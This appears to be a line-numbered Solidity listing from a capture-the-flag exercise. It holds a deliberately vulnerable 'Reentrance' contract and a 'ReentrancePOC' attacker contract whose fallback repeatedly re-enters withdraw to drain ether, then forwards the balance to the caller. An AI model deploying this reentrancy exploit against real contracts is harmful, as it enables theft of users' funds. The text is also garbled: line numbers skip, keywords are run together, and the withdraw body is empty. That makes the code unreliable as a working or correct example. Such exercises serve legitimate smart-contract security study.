1. // SPDX-License-Identifier: MIT
    21. pragmasolidity^0.6.2;
    22. contract Reentrance {
    25.   mapping(address => uint)public balances;
    26.   function donate(address _to)publicpayable{
    27.     balances[_to]= balances[_to]+(msg.value);
    28.   }
    29.   function balanceOf(address _who)publicviewreturns(uint balance){
    30.     return balances[_who];
    31.   }
    32.   function withdraw(uint _amount)public{
    33.     if(balances[msg.sender]>= _amount){
    34.     }
    35.   }
    36.   receive()externalpayable{}
    37. }
    38. contract ReentrancePOC{
    40.     Reentrance Rt;
    41.     function  get_eth()  public{
    42.         uint totalBalance =address(this).balance;
    43.        (bool sent,)=msg.sender.call.value(totalBalance)("");
    44.     }
    45.     constructor(addresspayable _me)public{
    46.       Rt=Reentrance(_me);  
    47.     }
    48.     function donate01()publicpayable{
    49.        Rt.donate.value(0.0001 ether)(address(this));
    50.     }
    51.     function poc()public{
    52.         Rt.withdraw(0.0001 ether);
    53.     }
    54.     fallback()externalpayable{
    55.         if(address(Rt).balance>=0.0001 ether){
    56.             Rt.withdraw(0.0001 ether);
    57.         }
    58.     }
    59. }